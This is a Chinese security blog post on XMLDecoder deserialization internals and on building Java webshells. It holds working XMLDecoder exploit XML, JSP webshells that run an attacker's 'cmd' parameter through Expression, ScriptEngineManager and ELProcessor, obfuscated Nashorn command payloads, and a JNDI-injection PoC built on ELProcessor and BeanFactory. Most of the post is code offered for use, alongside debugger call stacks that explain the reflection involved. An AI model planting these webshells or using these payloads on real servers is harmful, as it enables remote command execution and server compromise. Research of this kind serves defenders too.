反序列化漏洞底层扩展与制作WebShell

本文深入探讨了XMLDecoder反序列化漏洞的底层机制,详细介绍了如何利用Expression和ScriptEngineManager制作WebShell。讲解了Java执行JS代码的原理,并分析了ELProcessor在WebShell制作中的应用。同时,文章提到了利用ELProcessor进行无回显WebShell的创建,以及与JNDI注入的关系。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

XMLDecoder反序列化漏洞底层

这里我主要是就是一下最后的执行是怎么样的。也就是Expression类的使用

import java.beans.Expression;

public class test {
    public static void main(String[] args)throws Exception {
        Parameter(); //有参数
        NoParameter(); //无参数
    }
    public static void Parameter() throws Exception{
        Object var3 = new ProcessBuilder();
        String var4 = "command";
        String[] strings = new String[]{"calc"};
        Object[] var2 = new Object[]{strings};
        Expression var5 = new Expression(var3, var4, var2);
        Object value = var5.getValue(); //获得参数的类

        String var1 = "start";
        Object[] var6 = new Object[]{};
        Expression expression = new Expression(value, var1, var6); //执行start方法
        expression.getValue();

//        为什么不能执行?因为class.newInstance只能调用无参构造函数而ProcessBuilder没有无参数构造函数。
//        Class<?> aClass = value.getClass();
//        Object o = aClass.newInstance();
//        Method start = aClass.getMethod("start");
//        start.invoke(o);
    }
    public static void NoParameter(){
        String[] strings = new String[]{"cmd.exe","/c","calc"};
        Object var3 = new ProcessBuilder(strings);
        String var4 = "start";
        Object[] var2 = new Object[]{};
        Expression var5 = new Expression(var3, var4, var2);
        try {
            var5.getValue();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
} 

并且通过测试可以发现Expression的使用,给出下面的例子。

public class cmd {
    public void Noparameter(){
        System.out.println("无参数调用....");
    }
    public void Parameter(Object[] obj){
        System.out.println("有参数调用....");
    }
}
import java.beans.Expression;

public class test1 {
    public static void main(String[] args)throws Exception {
        Object var3 = new cmd();
        String var4 = "Parameter"; //Noparameter
        Object[] var2 = new Object[]{"233333"};
        var2 = new Object[]{var2};
        var2 = new Object[]{};
        Expression var5 = new Expression(var3, var4, var2);
        var5.getValue();
    }
} 

并且给出了一些exp。

 <? xml version="1.0" encoding="UTF-8" ?> 
<java>
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
            <void index="0">
                <string>cmd.exe</string>
            </void>
            <void index="1">
                <string>/c</string>
            </void>
            <void index="2">
                <string>calc</string>
            </void>
        </array>
        <void method="start">
        </void>
    </object>
</java> 

通过实体编码绕过

 <? xml version="1.0" encoding="UTF-8" ?> 
<java>
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
            <void index="0">
                <string>cmd.exe</string>
            </void>
            <void index="1">
                <string>/c</string>
            </void>
            <void index="2">
                <string>calc</string>
            </void>
        </array>
        <void method="start"/>
    </object>
</java> 
 <? xml version="1.0" encoding="UTF-8" ?> 
<java>
 <object class="java.io.PrintWriter">
  <string>D:\shell.jsp</string>
  <void method="println">
  <string>
   webshell
 </string>
  </void>
  <void method="close"/>
 </object>
</java> 

想了一下Expression类,底层是通过反射执行的, 那我们能可以制作webshell了

制作WebShell

Expression

package shell.Expression;

import java.beans.Expression;

public class test {
    public static void main(String[] args) {
        String payload ="calc";
        Expression expression = new Expression(Runtime.getRuntime(),"\u0065"+"\u0078"+"\u0065"+"\u0063",new Object[]{payload});
        try {
            expression.getValue();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
} 

上面是java代码,执行的原理是反射在getValue方法中可以清楚的看到,要制作webshell就需要jsp代码。

<%@ page import="java.beans.Expression"%>
<%@ page contentType="text/html; charset=UTF-8" language="java" %>
<%
    String payload =request.getParameter("cmd");
    Expression expression = new Expression(Runtime.getRuntime(),"\u0065"+"\u0078"+"\u0065"+"\u0063",new Object[]{payload});
    expression.getValue();
%> 

介绍到这里又突然想到了其他表达式类的执行。

ScriptEngineManager

通过ScriptEngineManager这个类可以实现Java跟JS的相互调用,虽然Java自己没有eval函数,但是ScriptEngineManager有eval函数,并且可以直接调用Java对象,也就相当于间接实现了Java的eval功能。

package shell.ScriptEngineManager;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;

public class test {
    public static void main(String[] args) throws Exception{
        String test = "print('hello word!!');";
        String payload1 = "java.lang.Runtime.getRuntime().exec("calc")";
        String payload2 = "var a=exp();function exp(){var x=new java.lang.ProcessBuilder; x.command("calc"); x.start();};";
        String payload3 = "var a=exp();function exp(){java.lang./****/Runtime./***/getRuntime().exec("calc")};";
        String payload4 = "\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065.getRuntime().exec("calc");";
        String payload5 = "var a= Java.type("java.lang"+".Runtime"); var b =a.getRuntime();b.exec("calc");";
        String payload6 = "load("nashorn:mozilla_compat.js");importPackage(java.lang); var x=Runtime.getRuntime(); x.exec("calc");";
        //兼容Rhino功能 https://blog.youkuaiyun.com/u013292493/article/details/51020057
        String payload7 = "var a =JavaImporter(java.lang); with(a){ var b=Runtime.getRuntime().exec("calc");}";
//        String payload8 = "var scr = document.createElement("script");scr.src = "http://127.0.0.1:8082/js.js";document.body.appendChild(scr);exec();";
        eval(payload7);
    }
    public static void eval(String payload){
        payload=payload;
        ScriptEngineManager manager = new ScriptEngineManager(null);
        ScriptEngine engine = manager.getEngineByName("js");
        try {
            engine.eval(payload);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
} 

然后自己突发奇想,思考能不能远程加载js代码?然后执行远程js代码里面的exp。参考payload8

function exec(){    
    var a=exp();function exp(){var x=new java.lang.ProcessBuilder; x.command("calc"); x.start();};
} 

执行失败!百度了一下原因大概是因为java在执行js代码的时候没有浏览器的内置对象如:document,window等等。

解决方法大概就是添加组件配置java解析浏览器的环境??这样的话基本上不可能这样配置了,于是自己就没有在深入了解了。

java执行js代码的底层原理

这里自己调试会很多次中间的具体流程基本上就是一个解析过程,所以只看最后。

其实本质上还是反射。最后的调用apply:393, ScriptRuntime (jdk.nashorn.internal.runtime) 的apply方式去执行。

在看一下调用栈:

apply:393, ScriptRuntime (jdk.nashorn.internal.runtime)
evalImpl:449, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:406, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:402, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:155, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:264, AbstractScriptEngine (javax.script)
eval:24, test (shell.ScriptEngineManager)
main:17, test (shell.ScriptEngineManager) 

调试过程大家可以自己去测试

而上面的加载远程js的思路是来自自己调试的过程。

那webshell.无回显的

<%@ page import="javax.script.ScriptEngineManager" %>
<%@ page import="javax.script.ScriptEngine" %>
<%
    ScriptEngineManager manager = new ScriptEngineManager(null);
    ScriptEngine engine = manager.getEngineByName("js");
    String payload = request.getParameter("cmd");
    engine.eval(payload);
%> 

然后不得不说java中还有一个表达式执行的,那就是EL表达式

ELProcessor

表达式语言(Expression Language),或称EL表达式,简称EL,是Java中的一种特殊的通用编程语言,借鉴于JavaScript和XPath。主要作用是在Java Web应用程序嵌入到网页(如JSP)中,用以访问页面的上下文以及不同作用域中的对象 ,取得对象属性的值,或执行简单的运算或判断操作。EL在得到某个数据时,会自动进行数据类型的转换。

ELProcessor也有自己的eval函数,并且可以调用Java对象执行命令。

package shell.EL;

import javax.el.ELProcessor;

public class test {
    public static void main(String[] args) throws Exception {
        String payload = """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var exp='calc';java.lang.Runtime.getRuntime().exec(exp);")";

        String poc = "''.getClass().forName('javax.script.ScriptEngineManager')" +
                ".newInstance().getEngineByName('nashorn')" +
                ".eval("s=[3];s[0]='cmd.exe';s[1]='/c';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);")";

        ELeval(payload);
    }
    public static void ELeval(String payload){
        payload=payload;
        ELProcessor elProcessor = new ELProcessor();
        try {
            elProcessor.eval(payload);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
} 

我们也可以看看EL表达式的底层原理。

EL表达式的底层原理

我们使用payload进行debug调试,一直跟着流程走发现最后还是通过反射去执行。

最后在AstValue类中执行getValue方法,从而调用payload,之后就会js代码执行的流程一样了。

调用栈:

getValue:159, AstValue (org.apache.el.parser)
getValue:190, ValueExpressionImpl (org.apache.el)
getValue:61, ELProcessor (javax.el)
eval:54, ELProcessor (javax.el)
ELeval:20, test (shell.EL)
main:13, test (shell.EL) 

webshell.无回显的

<%@ page import="javax.el.ELProcessor"%>
<%@ page contentType="text/html; charset=UTF-8" language="java" %>
<%
    String cmd =request.getParameter("cmd");
    String payload = """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var exp='"+cmd+"';java.lang.Runtime.getRuntime().exec(exp);")";
    ELProcessor elProcessor = new ELProcessor();
    elProcessor.eval(payload);
%> 

介绍到这里,突然想到了jndi注入绕过jdk191+,其中的一种方法就是利用ELProcessor类

这里直接给出poc

Registry registry = LocateRegistry.createRegistry(rmi_port);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
ref.add(new StringRefAddr("forceString", "KINGX=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("KINGX", """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd.exe','/c','calc']).start()")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper); 

总结

通过学习XMLDecoder的底层执行的流程去发现其他表达式执行,而其中的很多底层都是通过java反射技术实现的!

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值